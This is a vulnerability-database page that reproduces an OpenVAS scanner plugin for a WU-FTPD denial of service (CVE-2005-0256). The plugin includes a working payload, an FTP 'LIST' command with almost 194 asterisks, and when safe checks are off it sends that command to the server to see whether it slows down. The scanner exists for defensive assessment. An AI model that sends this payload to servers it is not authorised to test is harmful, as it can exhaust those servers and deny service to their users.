Lucene search
+L

FTPD glob (too many *) DoS Vulnerability

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2005 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 27 Views

FTP glob (too many *) DoS Vulnerability in WU-FTPD exhausts server resource

Related
Code
# SPDX-FileCopyrightText: 2005 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later

CPE = "cpe:/a:washington_university:wu-ftpd";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.17602");
  script_version("2023-12-20T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2005-0256");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("FTPD glob (too many *) DoS Vulnerability");
  script_category(ACT_MIXED_ATTACK);
  script_family("FTP");
  script_copyright("Copyright (C) 2005 Michel Arboi");
  script_dependencies("gb_wu-ftpd_detect.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("wu-ftpd/installed");

  script_tag(name:"summary", value:"WU-FTPD is prone to a Denial of Service vulnerability.");

  script_tag(name:"insight", value:"WU-FTPD exhausts all available resources on the server
  when it receives the following request several times:

  LIST *****[...]*.*");

  script_tag(name:"solution", value:"Contact your vendor for a fix.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_probe");

  exit(0);
}

include("ftp_func.inc");
include("host_details.inc");
include("version_func.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! infos = get_app_version_and_location( cpe:CPE, port:port, exit_no_version:FALSE ) )
  exit( 0 );

vers = infos["version"];
path = infos["location"];

if( safe_checks() ) {

  if( ! vers )
    exit( 0 );

  if( egrep( string:vers, pattern:"^2\.6\.(1|2|2\(1\))" ) ) {
    report = report_fixed_ver( installed_version:vers, fixed_version:"See references", install_url:path );
    security_message( port:port, data:report );
    exit( 0 );
  }
  exit( 99 );
}

kb_creds = ftp_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];

for( i = 0; i < 2; i ++ ) {

  soc = open_sock_tcp( port );
  if( ! soc || ! ftp_authenticate( socket:soc, user:user, pass:pass ) ) exit( 0 );

  pasv = ftp_pasv( socket:soc );
  soc2 = open_sock_tcp( pasv );
  # Above 194 *, the server answers "sorry input line too long"
  if( i ) {
    send( socket:soc, data:'LIST ***********************************************************************************************************************************************************************************************.*\r\n' );
  } else {
    send( socket:soc, data:'LIST *.*\r\n' );
  }

  t1 = unixtime();
  b  = ftp_recv_line( socket:soc );

  repeat
    data = recv( socket:soc2, length:1024 );
  until( ! data );

  t[i] = unixtime() - t1;
  #b = ftp_recv_line( socket:soc );
  close( soc );
  soc = NULL;
  close( soc2 );
}

if( t[0] == 0 )
  t[0] = 1;

if( t[1] > 3 * t[0] ) {
  security_message( port:port );
  exit( 0 );
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Dec 2023 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 25
EPSS0.05208
27